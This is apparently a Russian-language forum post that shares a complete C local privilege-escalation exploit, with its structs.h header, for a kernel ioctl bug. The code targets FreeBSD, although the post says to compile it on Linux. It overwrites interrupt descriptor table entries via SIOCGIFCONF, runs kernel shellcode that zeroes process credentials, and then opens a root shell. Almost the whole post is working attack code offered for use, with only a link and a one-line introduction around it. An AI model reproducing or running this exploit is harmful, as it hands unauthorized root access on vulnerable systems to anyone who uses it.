Регистрация: 11.07.2010
Сообщений: 954
|
Anderson Eduardo написал эксплойт для x86. Компилировать его в линуксе.
Видео: https://www.youtube.com/watch?v=eKSu1nQRtQg
Эксплойт: https://github.com/andersonc0d3/expl...2-4576-linux.c
Код:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <net/if.h>
#include "structs.h"
#define XBPT_OFFSET 30
#define D 68
void *functions[5];
char *symbols[] = {"Xbpt","Xofl","Xbnd","Xill","Xdna",NULL};
void *idt_xbpt_entry;
char kernelfile[40];
unsigned char trampoline[] = "\xb8\x44\x43\x42\x41" // mov $0x41424344,%eax
"\xff\xe0"; // jmp *%eax
unsigned char gotroot[] = "\xb8\x08\x00\x00\x00" // mov $0x8,%eax
"\x8e\xe0" // mov %eax,%fs
"\x64\xa1\x00\x00\x00\x00" // mov %fs:0x0,%eax
"\x8b\x40\x04" // mov 0x4(%eax),%eax
"\x8b\x40\x24" // mov 0x24(%eax),%eax || mov 0x30(%eax),%eax
"\xc7\x40\x04\x00\x00\x00\x00"// movl $0x0,0x4(%eax)
"\xc7\x40\x08\x00\x00\x00\x00"// movl $0x0,0x8(%eax)
"\x6a\x3b" // push $0x3b
"\x6a\x3b" // push $0x3b
"\x6a\x3b" // push $0x3b
"\x0f\xa1" // pop %fs
"\x07" // pop %es
"\x1f" // pop %ds
"\x6a\x3b" // push $0x3b #ss
"\x68\x60\xeb\xbf\xbf" // push $0xbfbfeb60 #esp
"\x68\x86\x02\x00\x00" // push $0x286 #eflags
"\x6a\x33" // push $0x33 #cs
"\x68\x44\x42\x42\x41" // push $0x41424344 #eip
"\xcf"; // iret
int get_sysctl_value(char *mib, char *buffer){
char command[40];
FILE *f;
int ret;
memset(command,'\0',sizeof(command));
sprintf(command,"sysctl -n %s",mib);
f = popen(command,"r");
ret = fscanf(f,"%s",buffer);
pclose(f);
if(ret != 1)
return -1;
return 0;
}
void *get_sym(char *name){
FILE *f;
void *addr;
char shit;
char symbol[50];
char command[512];
int ret;
memset(symbol,'\0',sizeof(symbol));
memset(command,'\0',sizeof(command));
sprintf(command, "nm %s|grep -w \"%s\"",kernelfile,name);
f = popen(command, "r");
ret = fscanf(f, "%p %c %s", &addr, &shit, symbol);
pclose(f);
if(ret != 3)
return NULL;
if (!strcmp(name, symbol)){
return addr;
}
return NULL;
}
void kernel_code(void){
void (*func)(void);
int i = 0;
setidt(IDT_BP, functions[i++], SDT_SYS386IGT, SEL_UPL,GSEL(GCODE_SEL, SEL_KPL));
setidt(IDT_OF, functions[i++], SDT_SYS386TGT, SEL_UPL,GSEL(GCODE_SEL, SEL_KPL));
setidt(IDT_BR, functions[i++], SDT_SYS386TGT, SEL_KPL,GSEL(GCODE_SEL, SEL_KPL));
setidt(IDT_UD, functions[i++], SDT_SYS386TGT, SEL_KPL,GSEL(GCODE_SEL, SEL_KPL));
setidt(IDT_NM, functions[i], SDT_SYS386TGT, SEL_KPL,GSEL(GCODE_SEL, SEL_KPL));
setidt(IDT_DF, 0,SDT_SYSTASKGT, SEL_KPL, GSEL(GPANIC_SEL, SEL_KPL));
func = (void *)gotroot;
func();
}
void done(void){
if(getuid() == 0){
fprintf(stdout,"[*] done!\n");
execl("/bin/sh", "sh", NULL);
}
else{
fprintf(stderr,"[*] failed!\n");
}
}
//Taken from http://www.techpulp.com/blog/2008/10/get-list-of-interfaces-using-siocgifconf-ioctl/
int get_iface_list(struct ifconf *ifconf){
int sock;
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock < 0){
fprintf(stderr,"[!] failed to create a socket\n");
return (EXIT_FAILURE);
}
if(ioctl(sock, SIOCGIFCONF , (char*) ifconf ) < 0 ){ //Triggering
fprintf(stderr,"[!] failed to call ioctl\n");
exit(EXIT_FAILURE);
}
close(sock);
return 0;
}
int main(void){
struct ifreq ifreqs;
struct ifconf ifconf;
char version[40];
void *addr;
void *src;
int i,a;
if(get_sysctl_value("kern.bootfile",kernelfile) != 0){
fprintf(stderr,"[!] failed to get kernel filename\n");
exit(EXIT_FAILURE);
}
fprintf(stdout,"[*] kernelfile: %s\n",kernelfile);
if(get_sysctl_value("kern.osrelease",version) != 0){
fprintf(stderr,"[!] failed to get freebsd version\n");
exit(EXIT_FAILURE);
}
fprintf(stdout,"[*] FreeBSD: %c\n",version[0]);
if((idt = (struct gate_descriptor *)get_sym("idt0")) == NULL){
fprintf(stderr,"[!] failed to resolve: idt0\n");
exit(EXIT_FAILURE);
}
idt_xbpt_entry = (char *)idt + XBPT_OFFSET;
for(i = 0; symbols[i] != NULL; i++){
if((functions[i] = get_sym(symbols[i])) == NULL){
fprintf(stderr,"[!] failed to resolve: %s\n",symbols[i]);
exit(EXIT_FAILURE);
}
else{
fprintf(stdout,"[*] %s: %p\n",symbols[i],functions[i]);
}
}
memset(&ifconf,'\0',sizeof(ifconf));
ifconf.ifc_buf = (caddr_t ) &ifreqs;
ifconf.ifc_len = sizeof(struct ifreq);
get_iface_list(&ifconf);
fprintf(stdout,"[*] interface: %s\n",ifreqs.ifr_name);
a = ifreqs.ifr_name[1];
a = a << 8;
a = a | ifreqs.ifr_name[0];
a = a << 16;
src = kernel_code;
addr = memchr(trampoline,D,sizeof(trampoline));
if(addr != NULL){
memcpy(addr,&src,4);
}
else{
fprintf(stderr,"[!] can't change the trampoline code\n");
exit(EXIT_FAILURE);
}
src = done;
addr = (void *)memrchr(gotroot,D,sizeof(gotroot));
if(addr != NULL){
memcpy(addr,&src,4);
if(version[0] < '8')
gotroot[18] = '\x30';
}
else{
fprintf(stderr,"[!] can't change the gotroot code\n");
exit(EXIT_FAILURE);
}
addr = (void *)(a | ((int)functions[0] & 0xffff));
fprintf(stdout,"[*] address: %p\n",addr);
if(mmap((void *)((int )addr & ~(4096-1)), 4096, PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0) == MAP_FAILED) {
fprintf(stderr,"[!] can't map the address %p\n",addr);
exit(EXIT_FAILURE);
}
memcpy((void *)addr,trampoline,sizeof(trampoline));
memset(&ifconf,0,sizeof(ifconf));
ifconf.ifc_buf = idt_xbpt_entry;
ifconf.ifc_len = sizeof(ifreqs);
get_iface_list(&ifconf);
asm("int3");
return 0;
}
structs.h:
Код:
#define GSEL(s,r) (((s)<<3) | r) /* a global selector */
#define SEL_KPL 0 /* kernel priority level */
#define SEL_UPL 3 /* user priority level */
#define SDT_SYS386IGT 14 /* system 386 interrupt gate */
#define SDT_SYS386TGT 15 /* system 386 trap gate */
#define SDT_SYSTASKGT 5 /* system task gate */
#define GCODE_SEL 4 /* Kernel Code Descriptor (order critical: 1) */
#define IDT_BP 3 /* #BP: Breakpoint */
#define IDT_OF 4 /* #OF: Overflow */
#define IDT_BR 5 /* #BR: Bound Range Exceeded */
#define IDT_UD 6 /* #UD: Undefined/Invalid Opcode */
#define IDT_NM 7 /* #NM: No Math Coprocessor */
#define IDT_DF 8 /* #DF: Double Fault */
#define GPANIC_SEL 12 /* Task state to consider panic from */
typedef void inthand_t(u_int cs, u_int ef, u_int esp, u_int ss);
struct gate_descriptor {
unsigned gd_looffset:16 ; /* gate offset (lsb) */
unsigned gd_selector:16 ; /* gate segment selector */
unsigned gd_stkcpy:5 ; /* number of stack wds to cpy */
unsigned gd_xx:3 ; /* unused */
unsigned gd_type:5 ; /* segment type */
unsigned gd_dpl:2 ; /* segment descriptor priority level */
unsigned gd_p:1 ; /* segment descriptor present */
unsigned gd_hioffset:16 ; /* gate offset (msb) */
};
struct gate_descriptor *idt;
void setidt(idx, func, typ, dpl, selec)
int idx;
inthand_t *func;
int typ;
int dpl;
int selec;
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = (int)func;
ip->gd_selector = selec;
ip->gd_stkcpy = 0;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = ((int)func)>>16 ;
}
Последний раз редактировалось SynQ; 14.08.2013 в 16:54..
|